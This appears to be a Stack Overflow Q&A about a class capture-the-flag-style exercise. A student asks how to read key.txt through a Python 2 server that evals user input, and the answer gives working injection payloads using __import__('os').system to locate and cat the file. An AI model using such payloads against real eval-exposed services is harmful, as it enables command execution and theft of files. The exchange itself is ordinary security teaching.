My class assignment is to read a file called key.txt on a server which is in the same directory of a python script it is running on port 2323. The code running in the script is as follows:
while 1: print eval(raw_input("Enter Math:"))
I'm connecting with PuTTY and every time I run any code, the connection instantly drops if the code I pass is invalid. It gives no explanation, but I assume the eval function couldnt parse my code.
Here are some of the things I've tried and their outputs:
- Entering
open('key.txt', 'r').read()(or any explicit code) killed the connection - Using chr(#) to pass in commands, ex. hello =
chr(104)+chr(101)+chr(108)+chr(108)+chr(111). The server just spits back whatever I type - Using
compileby enteringcompile('print "Hello!"', 'buttfile', 'exec'), with the output<code object <module> at 0x7f6270ac0db0, file "buttfile", line 1>
Those are the only two ways I can think of that allows me to pass in code. I wrote a small cpp program to convert whatever I type into the char combinations, as well as including newlines so I can enter multiline code with the chr() method.
So my question is how would I execute code to read a file through python's eval function?
-
Sorry, added question to bodyterpak– terpak2015年03月26日 18:23:11 +00:00Commented Mar 26, 2015 at 18:23
-
Yes but the python code were using works on our systems but not theirs, through 2.7+ versions. I feel like I'm either missing something big or they messed up somehow.terpak– terpak2015年03月26日 18:29:07 +00:00Commented Mar 26, 2015 at 18:29
-
Is it a linux system?Noelkd– Noelkd2015年03月26日 18:30:45 +00:00Commented Mar 26, 2015 at 18:30
-
I can't tell because they do provide the web terminal when you go to the server IP. However, they did not give us any credentials to log in, and made a custom terminal splash screen so I don't know the OSterpak– terpak2015年03月26日 18:35:07 +00:00Commented Mar 26, 2015 at 18:35
1 Answer 1
If you are connecting to a linux system you can do it in two commands:
__import__("os").system("locate key.txt")
This assumes that the locate db is up to date.
Then when you know the location just use:
__import__("os").system("cat /location/of/file/key.txt")
Which will output the key to the screen.